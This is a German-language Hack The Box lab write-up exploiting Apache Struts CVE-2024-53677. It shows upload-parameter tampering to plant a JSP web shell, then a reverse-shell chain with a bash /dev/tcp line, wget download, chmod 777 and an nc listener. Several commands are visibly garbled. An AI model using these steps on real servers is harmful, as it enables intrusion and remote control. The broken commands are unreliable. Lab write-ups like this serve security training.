
Apache Struts CVE-2024-53677-Ausnutzung
CVE-2024-53677 ist eine Sicherheitslücke, die Apache Struts von Version 2.0.0 bis vor 6.4.0 betrifft. ⚠️ Diese wurde in einer Hack The Box Lab-Umgebung ausgenutzt.
Die Dateiupload-Logik in Apache Struts ist fehlerhaft. Ein Angreifer kann die Dateiupload-Parameter manipulieren, um einen Pfad-Traversal zu ermöglichen, und unter bestimmten Umständen kann dies zum Hochladen einer schädlichen Datei führen, die zur Ausführung von Remote Code verwendet werden kann.
🔗 Referenz: NIST NVD Entry
pom.xml zeigte Apache Struts 6.3.0.1📸 pom.xml-Offenlegung:

Um diese Schwachstelle auszunutzen, verwenden wir BurpSuite und dessen Repeater-Funktionalität, um die Pakete vor dem Senden zu modifizieren. Nachfolgend sehen Sie eine unbearbeitete Anfrage.
Unser Problem ist, dass die Website Dateitypen blockt, die nicht [JPG, JPEG, PNG, GIF] sind, und alles im /uploads-Verzeichnis ist Nicht ausführbar. Um diese Probleme zu umgehen, fügen wir zunächst einen weiteren Parameter hinzu.
Nach dem Hinzufügen des modifizierten Parameters bestätigt die Serverantwort, dass die Datei erfolgreich hochgeladen wurde. Allerdings stellen wir fest, dass sich der Dateipfad vom üblichen Upload-Verzeichnis unterscheidet.
Als Nächstes betten wir die Payload ein, indem wir sie direkt unter den Bilddaten und vor unseren injizierten Parametern anhängen. Die Shell-Payload kann bezogen werden unter 🔗 Referenz: shell.jsp Zusätzlich ist ein entscheidendes Detail, dass die Anfrage "Upload" mit einem großen U anstelle von kleinem upload erfordert. Dies folgt der Exploit-Struktur, die beobachtet wurde in: 🔗 Referenz: exploit.py
Mit diesen Modifikationen senden wir die Anfrage. Der Server antwortet ähnlich, bestätigt einen erfolgreichen Upload und spiegelt den angepassten Dateipfad wider.
Durch Navigieren zur folgenden URL können wir mit unserer hochgeladenen Shell interagieren.
ip/shelll.jsp?action=cmd&cmd=id
An diesem Punkt können wir eine Reverse-Shell über einen lokal gehosteten Webserver einrichten. Ein einfacher Weg dies zu erreichen, ist mit Python: python3 http.server -m 3004
Als Nächstes erstellen Sie ein einfaches Shell-Skript (z.B. shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
Verwenden Sie wget, um es herunterzuladen wget http://ip_address/filename -O /tmp
Nach dem Herunterladen geben Sie Ausführungsberechtigungen chmod +777 /tmp/filename
und verwenden Sie dann nc (netcat), um auf die Reverse-Shell zu lauschen. nc -lvnp $PORT
Führen Sie schließlich ./filename